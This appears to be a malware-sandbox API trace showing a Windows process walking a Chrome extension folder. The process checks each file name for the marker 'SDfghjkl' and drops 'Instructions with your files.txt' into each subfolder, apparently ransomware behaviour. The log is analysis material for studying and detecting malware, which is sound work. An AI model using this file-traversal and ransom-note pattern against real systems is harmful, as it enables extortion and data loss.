[0130.172] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\*", lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83663ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836884d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x836884d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876eb8
[0130.177] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\.") returned 151
[0130.177] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83663ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836884d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x836884d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.177] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\..") returned 152
[0130.177] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836661f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836661f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x1a1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="cast_app.css", cAlternateFileName="")) returned 1
[0130.177] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css") returned 162
[0130.177] StrStrIW (lpFirst="cast_app.css", lpSrch="SDfghjkl") returned 0x0
[0130.177] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8366b010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8366d720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x221da, dwReserved0=0x0, dwReserved1=0x0, cFileName="cast_app.js", cAlternateFileName="")) returned 1
[0130.177] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js") returned 161
[0130.177] StrStrIW (lpFirst="cast_app.js", lpSrch="SDfghjkl") returned 0x0
[0130.177] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8366fe30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8366fe30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0xf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="cast_app_redirect.js", cAlternateFileName="CAST_A~1.JS")) returned 1
[0130.177] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js") returned 170
[0130.177] StrStrIW (lpFirst="cast_app_redirect.js", lpSrch="SDfghjkl") returned 0x0
[0130.177] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83674c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83674c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x1bef, dwReserved0=0x0, dwReserved1=0x0, cFileName="chromecast_logo_grey.png", cAlternateFileName="CHROME~1.PNG")) returned 1
[0130.177] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png") returned 174
[0130.177] StrStrIW (lpFirst="chromecast_logo_grey.png", lpSrch="SDfghjkl") returned 0x0
[0130.177] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83679a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83679a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="devices.html", cAlternateFileName="DEVICE~1.HTM")) returned 1
[0130.177] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html") returned 162
[0130.177] StrStrIW (lpFirst="devices.html", lpSrch="SDfghjkl") returned 0x0
[0130.177] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8367c180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8367c180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x828, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
[0130.178] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html") returned 160
[0130.178] StrStrIW (lpFirst="index.html", lpSrch="SDfghjkl") returned 0x0
[0130.178] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83685dc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83685dc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="offers.html", cAlternateFileName="OFFERS~1.HTM")) returned 1
[0130.178] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html") returned 161
[0130.178] StrStrIW (lpFirst="offers.html", lpSrch="SDfghjkl") returned 0x0
[0130.178] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836884d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8368abe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.html", cAlternateFileName="SETUP~1.HTM")) returned 1
[0130.178] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html") returned 160
[0130.178] StrStrIW (lpFirst="setup.html", lpSrch="SDfghjkl") returned 0x0
[0130.178] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836884d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8368abe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.html", cAlternateFileName="SETUP~1.HTM")) returned 0
[0130.178] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\Instructions with your files.txt") returned 182
[0130.178] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
[0130.178] WriteFile (in: hFile=0x130, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cda14*=0x54, lpOverlapped=0x0) returned 1
[0130.179] WriteFile (in: hFile=0x130, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cda14*=0x18, lpOverlapped=0x0) returned 1
[0130.180] WriteFile (in: hFile=0x130, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cda14*=0xc, lpOverlapped=0x0) returned 1
[0130.180] WriteFile (in: hFile=0x130, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cda14*=0x16, lpOverlapped=0x0) returned 1
[0130.180] WriteFile (in: hFile=0x130, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cda14*=0x23, lpOverlapped=0x0) returned 1
[0130.180] CloseHandle (hObject=0x130) returned 1
[0130.180] FindClose (in: hFindFile=0x876eb8 | out: hFindFile=0x876eb8) returned 1
[0130.180] GetProcessHeap () returned 0x810000
[0130.180] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8dcc28 | out: hHeap=0x810000) returned 1
[0130.180] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8368d2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83694820, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83694820, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_route_details", cAlternateFileName="CLOUD_~1")) returned 1
[0130.180] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details") returned 158
[0130.180] GetProcessHeap () returned 0x810000
[0130.180] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8dcc28
[0130.180] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\*") returned 160
[0130.180] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\*", lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8368d2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83694820, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83694820, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876eb8
[0130.181] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\.") returned 160
[0130.181] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8368d2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83694820, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83694820, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.181] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\..") returned 161
[0130.181] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8368fa00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8368fa00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x174c, dwReserved0=0x0, dwReserved1=0x0, cFileName="view.html", cAlternateFileName="VIEW~1.HTM")) returned 1
[0130.181] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html") returned 168
[0130.181] StrStrIW (lpFirst="view.html", lpSrch="SDfghjkl") returned 0x0
[0130.181] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83694820, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83694820, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x945, dwReserved0=0x0, dwReserved1=0x0, cFileName="view.js", cAlternateFileName="")) returned 1
[0130.181] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js") returned 166
[0130.181] StrStrIW (lpFirst="view.js", lpSrch="SDfghjkl") returned 0x0
[0130.181] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83694820, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83694820, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x945, dwReserved0=0x0, dwReserved1=0x0, cFileName="view.js", cAlternateFileName="")) returned 0
[0130.181] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\Instructions with your files.txt") returned 191
[0130.182] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
[0130.184] WriteFile (in: hFile=0x130, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cda14*=0x54, lpOverlapped=0x0) returned 1
[0130.185] WriteFile (in: hFile=0x130, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cda14*=0x18, lpOverlapped=0x0) returned 1
[0130.186] WriteFile (in: hFile=0x130, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cda14*=0xc, lpOverlapped=0x0) returned 1
[0130.186] WriteFile (in: hFile=0x130, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cda14*=0x16, lpOverlapped=0x0) returned 1
[0130.186] WriteFile (in: hFile=0x130, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cda14*=0x23, lpOverlapped=0x0) returned 1
[0130.186] CloseHandle (hObject=0x130) returned 1
[0130.186] FindClose (in: hFindFile=0x876eb8 | out: hFindFile=0x876eb8) returned 1
[0130.186] GetProcessHeap () returned 0x810000
[0130.186] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8dcc28 | out: hHeap=0x810000) returned 1
[0130.186] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83696f30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83699640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0xc878, dwReserved0=0x0, dwReserved1=0x0, cFileName="common.js", cAlternateFileName="")) returned 1
[0130.186] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js") returned 148
[0130.186] StrStrIW (lpFirst="common.js", lpSrch="SDfghjkl") returned 0x0
[0130.186] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8369bd50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8369bd50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0xc26, dwReserved0=0x0, dwReserved1=0x0, cFileName="feedback.css", cAlternateFileName="")) returned 1
[0130.186] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css") returned 151
[0130.186] StrStrIW (lpFirst="feedback.css", lpSrch="SDfghjkl") returned 0x0
[0130.186] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836a0b70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836a0b70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x38a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="feedback.html", cAlternateFileName="FEEDBA~1.HTM")) returned 1
[0130.186] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html") returned 152
[0130.186] StrStrIW (lpFirst="feedback.html", lpSrch="SDfghjkl") returned 0x0
[0130.186] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836a5990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836a5990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x2b20, dwReserved0=0x0, dwReserved1=0x0, cFileName="feedback_script.js", cAlternateFileName="FEEDBA~1.JS")) returned 1
[0130.186] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js") returned 157
[0130.186] StrStrIW (lpFirst="feedback_script.js", lpSrch="SDfghjkl") returned 0x0
[0130.186] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x833dcb50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836af5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8395fd70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1
[0130.186] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json") returned 152
[0130.187] StrStrIW (lpFirst="manifest.json", lpSrch="SDfghjkl") returned 0x0
